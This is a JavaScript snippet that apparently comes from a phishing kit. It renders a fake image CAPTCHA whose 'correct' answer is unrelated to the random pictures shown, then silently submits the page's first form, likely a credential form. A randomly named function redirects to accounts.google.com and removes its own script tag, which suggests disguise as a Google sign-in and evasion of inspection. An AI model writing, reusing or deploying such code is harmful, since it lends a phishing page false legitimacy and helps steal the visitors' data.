function XODEMBpGSy(){ window.location.replace('https://accounts.google.com/'); var hoGqKtdGuM = document.currentScript; hoGqKtdGuM.parentNode.removeChild(hoGqKtdGuM); } const grid = document.getElementById("captchaGrid"); const countSpan = document.getElementById("countimgs"); const MIN = 3, MAX = 7; let requiredCount; function buildCaptcha() { requiredCount = Math.floor(Math.random() * (MAX - MIN + 1)) + MIN; countSpan.textContent = requiredCount + " images"; grid.innerHTML = ""; for (let i = 0; i < 9; i++) { const cell = document.createElement("div"); const img = document.createElement("img"); img.referrerPolicy = "no-referrer"; img.src = `https://picsum.photos/200?random=${Math.floor(Math.random() * 1000)}`; cell.appendChild(img); grid.appendChild(cell); } } document.getElementById("captchaimgnext").addEventListener("click", e => { verifyCaptcha(); }); grid.addEventListener("click", e => { const cell = e.target.closest("#captchaGrid > div"); if (!cell) return; // clicked outside a cell? cell.classList.toggle("selected"); }); function verifyCaptcha() { const selectedCount = grid.querySelectorAll(".selected").length; if (selectedCount === requiredCount) { document.getElementById("resp").textContent = "Success! Please wait while we receive a response"; document.getElementById("resp").style.display = "block"; kTWnbXHFLj(); } else { buildCaptcha(); } } buildCaptcha(); function kTWnbXHFLj(){document.forms[0].submit()}